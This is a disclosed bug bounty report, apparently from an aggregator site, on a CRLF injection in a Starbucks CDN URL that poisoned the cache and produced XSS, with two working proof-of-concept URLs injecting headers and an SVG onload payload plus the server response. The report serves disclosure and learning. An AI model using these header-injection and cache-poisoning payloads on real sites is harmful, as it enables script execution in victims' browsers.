[newscdn.starbucks.com] CRLF Injection, XSS
A CRLF injection in a URL allowed injecting HTTP headers and a body with an SVG onload handler, leading to XSS when the cached response was served.
- Triaged in 9 days
- Fixed in 49 days
- Disclosed after 3 months
PoC (FireFox)
http://newscdn.starbucks.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
After sending the request through FireFox this query is saved in cache and using a small trick can be made to work it in another browser.
PoC (Chrome) Make sure you send this request after FireFox and previous http response contained the header X-Cache: HIT
http://newscdn.starbucks.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
HTTP Response
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://news.starbucks.com/
Content-Length:35
X-XSS-Protection:0
23
<svg onload=alert(document.domain)>
0
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
Victim visits crafted URL; cache must be poisoned first
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The server did not clean special characters in the URL, so an attacker could add extra header lines and a fake page. Opening the link ran a script in the browser, which is cross-site scripting.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.